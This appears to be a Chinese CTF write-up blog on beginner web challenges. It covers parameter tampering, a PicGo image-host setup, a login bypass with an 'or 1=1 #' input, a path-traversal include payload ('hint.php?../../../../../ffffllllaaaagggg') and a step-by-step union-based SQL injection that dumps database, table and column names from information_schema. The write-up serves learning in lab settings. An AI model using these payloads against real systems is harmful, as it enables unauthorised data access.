攻防世界wp

一、攻防世界 - get_post- 简单

拿到题目,要求使用get方式提交变量

直接?a=1即可

QQ_1733374132565

但是地址栏无法直接post请求

此时切换火狐浏览器,使用hackbar插件

QQ_1733374299858

post b=2 直接获得flag

二、攻防世界 - view_source - 简单

QQ_1733374415954

根据问题描述,应该要查看网页的源代码,但是鼠标右键被禁用了,左键也不行

但是我们有键盘

QQ_1733374469344

使用F12快捷键即可

三、攻防世界 - disabled_button - 简单

QQ_1733374627637

进来发现一个奇怪的按钮,审阅html代码,发现有个表单

但是无法点击,按了没反应

看到里面有个”disabled”,我在想,直接去掉就行了

QQ_1733374766067

将disabled删除,这时候发现按钮可以点了

QQ_1733374780238

按一下得到flag

QQ_1733374969299

使用火狐找到cookie,发现php源码泄露,访问

QQ_1733375004386

访问php文件,得到这个界面,说看response

前面一开始以为说的是http status,就是那个状态码404,

但是不是,网上查询发现其实就是响应头

QQ_1733375572942

刷新一下网页,在network里面,选择cookie.php访问响应头

拿到flag

五、搭建图床的过程

首先下载picgo

然后在github上搭建一个仓库来作为图床

记录token

QQ_1733377438538

在picgo里面配置

但注意要关掉steam++,否则会上传失败

1
assert m < p

六、easy SQL

QQ_1733662044002

进入网站后要求输入账号密码,随便输入一下,发现使用了get请求,并且泄露了php文件

QQ_1733662136271

访问php文件,但是源码没有泄露

接下来研究一下sql注入

SQL注入就是指Web应用程序对用户输入数据的合理性没有进行判断,前端传入后端的参数是攻击者可控制的,并且根据参数带入数据库查询,攻击者可以通过构造不同的SQL语句来对数据库进行任意查询。

简单来说就是没有过滤用户的输出,如果用户输入了一些恶意的参数,就能查询数据库中的数据

那么如何攻击呢

首先得了解一些sql语法

查询数据

1
SELECT 列名称 FROM 表名称;

如果加上条件

1
SELECT column FROM table WHERE column condition value

比如

1
SELECT * FROM Persons WHERE City='Sandnes'

那么显然,如果要对方要查询账号和密码是否正确

就应该是where password = ’正确的密码‘

这样就能查询到那个账号的数据

但是我们不知道这个条件是数字型还是字符串型

比如

1
2
City = 1
\\ city = '1'

为了区分,我们可以试着加入一个单引号

QQ_1733663232162

此时报错,说我们有SQL语法的错误,看后面报错信息,是多加了一个引号变成了’‘12‘’‘

所以这显然是字符串型

然后我们再看看闭合方式

QQ_1733665673982**

QQ_1733665708751

显然是单引号闭合,但是不知道为什么后面password是双引号

查了网上博客才知道实现方式

1
2
3
4
5
6
 0) {
echo "Login successful!";
} else {
echo "Login failed!";
}
?>

尝试使用万能密码

QQ_1733664940116

此处#将后面的部分注释掉

所以sql中的代码是

1
username = ‘’or 1 =1 # password =2

由于1=1为true,因此直接执行,而不检查用户名和密码

12.9 web

1.2019极客大挑战havefun

3037788250223ac533c7a5249ed98b08

打开看源码,发现是get请求,简单的php审计

只要cat=dog,就能拿到flag

QQ_1733753674911

2. warm up

QQ_1733753745989

打开查看源码,发现php文件名泄露

访问拿到代码,开始审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "";
}
?>
1
2
3
4
5
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

这一段逻辑有点绕,但我们不希望执行if,可以使用数字逻辑知识

也就是与非门,只要两个条件同时成立,就不会执行if

换而言之,需要page设置,并且设置为字符串

1
2
3
if (in_array($page, $whitelist)) {
return true;
}

PHP 5中 in_array函数功能 — 检查数组中是否存在某个值。

所以大致我们就知道这个代码功能,就是检查用户是否输入了正确的文件名称

也就是检查page是否在whilelist中,而”source.php”,”hint.php”就是whilelist中的值

但是我对这个whilelist数组的形式有些奇怪,查询了一下

在PHP中,箭头(=>)是定义数组的键值对分隔符。你可以使用它来定义数组中的元素。

1
$array = array("key1" => "value1", "key2" => "value2");

所以其实就是类似python的字典

首先先访问一下hint.php,看看提示

QQ_1733755185113

换而言之,我们要访问ffffllllaaaagggg文件,但是显然不在前面的白名单,无法访问

1
2
3
4
5
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);

1
string **mb_substr**( string$str, int$start[, int$length[, string$encoding]] );

进行截断字符串

mb_strpos函数用于在字符串中查找特定子字符串的位置

1
string mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] 母字符串,子字符串,搜索起始位置偏移量

其中$page . ‘?’是将page和?连接起来,在page的最后加上?,这样保证即使没有?,也能返回末尾的位置

而这恰恰是漏洞所在,由于这个,我们可以在前面加上?截断,只要我们截断的字符串在白名单内,就能通过

1
2
3
4
5
6
7
8
9
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

这里对page进行了url解码,然后又判断了一次,但貌似没什么用

于是我们构造payload

flag所在文件不知道在哪一层,只能逐个试探

1
http://c1412e1a-f5e5-4a6e-b0d5-20771b23a9c7.node5.buuoj.cn:81/source.php?file=hint.php../../ffffllllaaaagggg   以此类推

最终在

1
http://c1412e1a-f5e5-4a6e-b0d5-20771b23a9c7.node5.buuoj.cn:81/source.php?file=hint.php?../../../../../ffffllllaaaagggg

拿到了flag

QQ_1733842383081

不过有一个疑惑,为什么hint.php后面加了?不会把后面的认为是query

二、SQL注入

个人的理解:

SQL是一种结构化查询语言,用于在数据库中查询信息

用户在与网页交互时,需要使用get,post请求来提交表单到后台的SQl服务器,如果用户在其中加入了一些SQL语言代码,就可能获得数据库查询的权限,原因在于后端没有对输入进行过滤,于是就产生了SQL注入漏洞

一些术语:

回显:常常指程序开发中执行命令的结果,就是返回的显示,你输入一个命令,然后给你返回一个值,显示在屏幕上

当用户提交表单时,服务器返回到前端html页面的内容可以称为回显

字段:数据库表格中的列

我们把表中的每一行叫做一个“记录”,每一个记录包含这行中的所有信息,就像在通讯录数据库中某个人全部的信息,但记录在数据库中并没有专门的记录名,常常用它所在的行数表示这是第几个记录。字段是比记录更小的单位,字段集合组成记录,每个字段描述文献的某一特征,即数据项,并有唯一的供计算机识别的[字段标识符]

QQ_1735967047861

MySQL自带数据库:MySQL环境搭建完成后,数据库并不是空的,而是有四个自带数据库

MySQL自带的数据库包括mysql、information_schema、performance_schema、sys。

  • mysql:系统自带的权限和用户信息管理数据库

  • information_schema:保存了MySQL服务器所有的系统信息,比如数据库的名字、数据库表的名字、表的列的信息。

  • performance_schema:要用于收集数据库服务器运行过程中的性能参数。
  • sys:建立在information_schema和performance_schema的基础上,提供更方便的查询视图。

这些数据库是动态更新的,对于SQL注入来说,information_schema是十分重要的,可以查询到数据库的名字

查询语句:

1
SELECT 列名称 FROM 表名称;

如果加上条件

1
SELECT column FROM table WHERE column condition value

比如

1
SELECT * FROM Persons WHERE City='Sandnes'

这里*是通配符,可以查询所有列

如果后面没有from,select可以认为类似是一种print的功能

1
2
select 'Hello, World!';
select 1

联合查询

1
SELECT name, position FROM employees UNION SELECT name, position FROM contractors;

比如说我们有两个表格,emplyees和contractors,他们都有同样的列,那么使用union select就可以同时查询

联合查询要求每个 `SELECT` 语句中的列数必须相同,并且对应列的数据类型应该是兼容的。

再结合前面没有from的select,就能探测列数或者专业来说是字段数

比如,ctfhub技能树的整型注入

一、CTFHUB:整型注入

拿到题目,说输个1试试,输入1,得到如下回显

QQ_1735969821792

回显把SQL语句泄露出来了,也就是

1
select * from news where id=1

仔细研读,是从news这个表里,选择满足id=1的所有列,并返回

可以看出只有两列,两个字段,不过,也无法保证这个源码没有骗我们,可能不是*,而是只是输出了id,data?

所以可以用联合查询探测

QQ_1735970421076

1
select * from news where id=1 union select 1

这个没有回显,说明列数没有匹配

QQ_1735970504477

输入

1
select * from news where id=1 union select 1,2

之后就有回显了,说明确实是2列

这里

1
select 1,2

这条查询没有指定表,而是直接返回两个常量值:12。它相当于返回了一行包含两列的数据。

column1 column2
1 2

由于我们可以修改SQL代码,而且又探测了只有两个字段

那么我们就可以用联合查询,忽略前面的id=1这个条件,因为无论前面是否查询到,union后面的都会执行

我们可以利用这个获得回显,我们首先要知道flag藏在哪里

information_schema.schemata,即information_schema库的schemata表里的schema_name存储着数据库的名字

那么就利用

1
select * from news where id=1 union select 1,schema_name from information_schema.schemata

QQ_1735971624857

奇怪的是,为什么后面没有回显?

这或许是网站显示问题,不能完全显示联合查询的内容,我们把前面id换成-1,或者-10,这样就只显示后面的内容

QQ_1735971710532

这样就查到数据库名了,但是只有一个

怎么把全部数据显示出来呢?

使用语法

1
select * from news where id=-10 union select 1,group_concat(schema_name) from information_schema.schemata

QQ_1735971862446

就获得了所有库名

前四个库都是自带的,那么显然最后一个sqli应该就是flag藏得地方

接着我们要了解这个库里的表名

和上面类比就行,换成table

1
select * from news where id=-10 union select 1,group_concat(table_name) from information_schema.tables

QQ_1735972035331

能查是能查,但是太长了,需要筛选

QQ_1735972104406

那显然就在flag这个表里了

但是这跟套娃一样,知道了表名,还得知道flag所在的列,

也是,就上面换成columns

1
select * from news where id=-10 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

QQ_1735972755212

所以就准确定位了flag位置

sqli库,flag表,flag字段

使用

1
select * from news where id=-1 union select 1,flag from sqli.flag

QQ_1735972873245